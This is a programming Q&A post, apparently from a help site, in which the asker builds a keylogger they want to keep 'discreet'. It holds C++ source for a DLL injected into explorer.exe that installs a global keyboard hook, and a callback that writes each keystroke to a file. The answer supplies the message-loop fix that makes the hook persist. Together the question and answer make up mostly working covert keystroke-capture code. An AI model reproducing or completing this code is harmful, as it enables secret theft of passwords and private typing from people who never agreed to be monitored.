Search code examples
c++windowsdll-injection

Infinite loop in a dll injected on explorer.exe


I'm trying to create a keylogger on windows 7. To do It, I have created a Dll (setHook.dll) that I inject in a new thread of explorer.exe. In this first DLL, I open an other dll which contains a function (hookfunc) called on each keyboard input.

I need to let my Dll works in background because if it dies, I lost my Hook function. To do It, I have tried :

  • Sleep(INFINITE); : works a moment but explorer.exe crash
  • while(1); : works a moment but explorer.exe crash
  • system("pause") : working ! But I don't want a console appears on the screen, my keylogger has to be discreet.
  • getchar(): same as system("pause");
  • system("pause > null"); : access denied
  • this_thread::sleep_for(chrono::seconds(10)) : explorer crash

SetHook.dll :

BOOL WINAPI  DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
    HMODULE dll;
    HOOKPROC addr;
    HHOOK handle;

    if (dwReason != DLL_PROCESS_ATTACH)
        return true;
    if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
        return false;
    if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
        return false;
    if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
        return false;
    Sleep(INFINITE); //issue here
    return true;
}

CallbackFunc : (I don't think it can help)

LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
    std::ofstream file;
    WORD buf = 0;
    BYTE KeyState[256];
    file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app);
    if (code >= 0 && KEYUP(lParam))
    {
        if (wParam == VK_RETURN)
            file << "[ENTER]";
        else
        {
            GetKeyboardState(KeyState);
            ToAscii(wParam, lParam, KeyState, &buf, 0);
            file << (char)buf;
        }
    }
    file.close();
    return (CallNextHookEx(NULL, code, wParam, lParam));
}

The code works, I just need a discreet infinite loop instead of Sleep(INFINITE). Any idea ?


Solution

  • Sleeping in DllMain is almost certainly a bad idea.

    I assume you are trying to install a global hook. To do this, you need to run the message loop in your injector application, i.e. something like:

    while(GetMessage(&msg, NULL, 0, 0 ))
    { 
       TranslateMessage(&msg); 
       DispatchMessage(&msg); 
    }